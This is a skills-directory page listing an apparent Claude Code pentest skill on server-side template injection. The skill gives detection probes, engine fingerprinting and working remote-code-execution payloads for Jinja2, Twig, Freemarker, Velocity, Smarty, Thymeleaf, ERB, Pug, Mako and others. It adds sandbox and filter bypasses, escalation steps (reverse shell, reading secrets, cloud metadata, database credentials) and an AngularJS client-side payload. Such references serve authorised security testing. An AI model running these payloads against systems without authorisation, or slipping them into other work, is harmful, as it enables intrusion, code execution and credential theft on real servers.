Back to skills
SKILL.md
Web Ssti
ASecurityServer-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Smarty, Thymeleaf, ERB, Handlebars, Pug, Mako and more. Engine fingerprinting, sandbox escape, file read and RCE gadget chains, plus client-side template injection (CSTI). Use when user input is rendered through a template engine.
- 16 stars
- 0 votes
- 0 copies
- 2 views
- Added November 17, 2026
Works with
Security analysis
100/100npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill web-ssti --agent claude-codeAre you the author of Web Ssti?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-web-ssti)---
name: web-ssti
description: Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Smarty, Thymeleaf, ERB, Handlebars, Pug, Mako and more. Engine fingerprinting, sandbox escape, file read and RCE gadget chains, plus client-side template injection (CSTI). Use when user input is rendered through a template engine.
---
# Server-Side Template Injection (SSTI)
When user input is concatenated into a template (not just passed as data), the engine evaluates attacker expressions — often a direct path to RCE. Detect generically, fingerprint the engine, then use the engine-specific escape chain.
## Trigger phrases
`ssti, template injection, jinja2, twig, freemarker, velocity, smarty, thymeleaf, handlebars, erb, csti, template rce`
## 1. Detect (engine-agnostic)
Inject math and markers into every rendered field (names, subjects, profile fields, error messages, filenames, bulk-email templates):
- `${7*7}` `{{7*7}}` `#{7*7}` `<%= 7*7 %>` `*{7*7}` `@(7*7)` `#set($x=7*7)$x`
- Result `49` ⇒ evaluation. If `{{7*7}}`→`49` but `${7*7}` doesn't (or vice-versa), that narrows the engine.
- Polyglot probe: `${{<%[%'"}}%\` — breaks many engines and surfaces an error that fingerprints the stack.
## 2. Fingerprint
Use the decision tree: try `{{7*7}}` (Jinja2/Twig/Handlebars/Nunjucks) vs `${7*7}` (Freemarker/Velocity/Thymeleaf) vs `<%= 7*7 %>` (ERB). Then disambiguate with engine-specific syntax:
- `{{7*'7'}}` → `7777777` (Jinja2) vs `49` (Twig).
- `{{ }}` with `.__class__` works ⇒ Jinja2/Python. `#{}` ⇒ Thymeleaf/Freemarker-ish. Engine errors usually name themselves.
## 3. Exploit (engine gadget chains)
From `${CLAUDE_PLUGIN_ROOT}/payloads/ssti.md`:
- **Jinja2 / Python:** climb the object graph to os:
`{{ ''.__class__.__mro__[1].__subclasses__() }}` → find `subprocess.Popen` / `os` → `{{ cycler.__init__.__globals__.os.popen('id').read() }}` or `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`. Also `lipsum`, `request`, `config` gadgets. Bypass filters with attribute `|attr()`, `request.args`, hex/`\x` names.
- **Twig (PHP):** `{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}`; `{{['id']|filter('system')}}`.
- **Freemarker (Java):** `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`; `${"freemarker.template.utility.ObjectConstructor"?new()...}`.
- **Velocity (Java):** `#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod(...)...` → `exec("id")`.
- **Smarty (PHP):** `{php}system('id');{/php}` (old), `{Smarty_Internal_Write_File::writeFile(...)}`, `{system('id')}`.
- **Thymeleaf (Java/Spring):** `${T(java.lang.Runtime).getRuntime().exec('id')}` in expression preprocessing `__${...}__`.
- **ERB (Ruby):** `<%= system('id') %>`, `<%= `id` %>`, `<%= IO.popen('id').read %>`.
- **Handlebars / Nunjucks / Pug (Node):** constructor/prototype chains to `child_process` — `{{#with "s" as |string|}}...require('child_process')...{{/with}}`; Pug `#{global.process.mainModule.require('child_process').execSync('id')}`.
- **Mako (Python):** `${__import__('os').popen('id').read()}` / `<%! ... %>`.
## 4. Sandbox escape & filtered environments
Many engines sandbox by default — chase the escape:
- Jinja2 `SandboxedEnvironment`: find unsanitized attributes, `|attr`, format gadgets, or app-exposed objects (`config`, `request`).
- When keywords are filtered, build names dynamically (string concat, `|join`, hex), use alternate gadgets, or pivot to file read (`get_data`, `open`) if RCE is blocked.
## 5. Escalate
RCE → reverse shell, read app secrets/env, cloud metadata, DB creds. If only expression eval (no RCE), extract secrets/config/SECRET_KEY (enables session forgery), read files, and SSRF via engine HTTP gadgets.
## CSTI (client-side)
AngularJS and client template frameworks: `{{constructor.constructor('alert(1)')()}}` (Angular sandbox escape, version-dependent), Vue client templates. CSTI usually yields XSS rather than RCE — hand impact to `web-xss`.
## Evidence
Capture the evaluated response (`49`, command output), the engine proof, and the gadget chain used. See `${CLAUDE_PLUGIN_ROOT}/payloads/ssti.md`.
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.